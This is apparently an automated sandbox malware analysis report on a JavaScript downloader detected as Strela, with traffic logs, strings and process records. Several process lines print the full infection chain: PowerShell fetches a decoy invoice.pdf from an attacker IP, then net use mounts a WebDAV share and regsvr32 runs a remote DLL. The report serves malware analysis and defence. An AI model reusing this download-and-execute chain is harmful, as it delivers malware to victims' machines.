Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49738

Source: global traffic

TCP traffic: 192.168.2.11:49738 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.11:55824 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.11:49723 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000002.00000003.1298341638.00000201673CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000B.00000002.1364475389.0000018FB0B3B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000B.00000002.1364475389.0000018FB0AE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000B.00000002.1364475389.0000018FB0B1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000B.00000002.1364475389.0000018FB0B1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/J
Source: net.exe, 0000000B.00000002.1364475389.0000018FB0AE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 0000000D.00000002.2594159596.0000024620400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.12.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.13.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.13.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.13.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.13.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.13.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.13.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.13.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.12.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.13.dr, qmgr.db.13.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 0000000D.00000003.1365323312.00000246202E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.13.dr, qmgr.db.13.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: ReaderMessages.9.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6948, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 301425897285010519.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5632:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iowapfu2.edw.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 301425897285010519.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\301425897285010519.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1732,i,5061509526471365428,15526623625031714904,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1732,i,5061509526471365428,15526623625031714904,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
